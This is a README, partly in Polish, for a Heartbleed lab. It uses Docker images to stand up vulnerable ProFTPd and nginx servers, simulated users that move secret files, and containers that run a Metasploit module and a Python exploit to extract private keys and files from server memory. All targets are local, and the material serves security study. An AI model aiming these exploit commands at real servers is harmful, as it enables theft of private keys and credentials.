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ProFTPd server vulnerable to heartbleed
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Docker images:

  1. proftpd-bleed - stawia serwer proftpd (przykladowy user: testuser/bordodeszato2009)
    korzystajacy z openssl 1.0.1f
  2. ftp-bystander - co chwile loguje sie na proftpd-bleed i uploaduje plik credentials.php z danymi do bazy danych i kluczem do API platnosci24
  3. nginx-bleed - stawia serwer nginx korzystający z openssl 1.0.1f, ktory umożliwia ściagniecie pliku confidential.txt zalogowanemu userowi (przykladowy user: testuser/bordodes)
  4. http-bystander - co chwile loguje sie na nginx-bleed i sciaga confidential.txt
  5. metasploit - uzywajac metasploita wyciaga privkey serwera
  6. exploit - uzywajac naszego exploita w Pythonie stara sie znalezc w dumpie plik PHP lub string "CONFIDENTIAL"

Repo + docker hub

heartbleed-testbed- images on


I recommend using docker hub, but if you want you can build images yourself by running

Run vulnerable FTP server

docker run -p 2121:21 -p 30000-30009:30000-30009 -it --rm --name=proftpd-bleed kacperzuk/heartbleed-testbed-proftpd-bleed

Test connection:

$ openssl s_client -connect localhost:2121 -starttls ftp
$ curl -k --ftp-ssl ftp://localhost:2121/ --user testuser:bordodeszato2009
$ curl -vk --ftp-ssl ftp://localhost:2121/ --user testuser:bordodeszato2009

Run a fake-user that uploads credentials.php to server few times a second:

docker run --link proftpd-bleed:ftpd -it --rm --name=ftp-bystander kacperzuk/heartbleed-testbed-ftp-bystander

Run exploit from metasploit (it extracts private key and dumps it into /tmp/msf4/loot):

docker run --link proftpd-bleed:ftpd --rm -it -v /tmp/msf4:/root/.msf4 kacperzuk/heartbleed-testbed-metasploit /usr/local/bin/ ftp-hb.rc

Run exploit (it tries to extract PHP file, but won't succeed ever because proftpd is forking):

docker run --link proftpd-bleed:ftpd --rm -it kacperzuk/heartbleed-testbed-exploit python3 ftpd 21

You can stop all containers.

Run vulnerable HTTPS server

docker run -p 4443:443 -it --rm --name=nginx-bleed kacperzuk/heartbleed-testbed-nginx-bleed

Test connection:

$ openssl s_client -connect localhost:4443
$ curl -k https://localhost:4443/confidential.txt --user testuser:bordodes
$ curl -vk https://localhost:4443/confidential.txt --user testuser:bordodes

Run a fake-user that uploads credentials.php to server few times a second:

docker run --link nginx-bleed:httpd -it --rm --name=http-bystander kacperzuk/heartbleed-testbed-http-bystander

Run exploit from metasploit (it extracts private key):

docker run --link nginx-bleed:httpd --rm -it -v /tmp/msf4:/root/.msf4 kacperzuk/heartbleed-testbed-metasploit /usr/local/bin/ http-hb.rc

Run exploit (nginx isn't forking, so it should find the confidential file):

docker run --link nginx-bleed:httpd --rm -it kacperzuk/heartbleed-testbed-exploit python3 httpd 443
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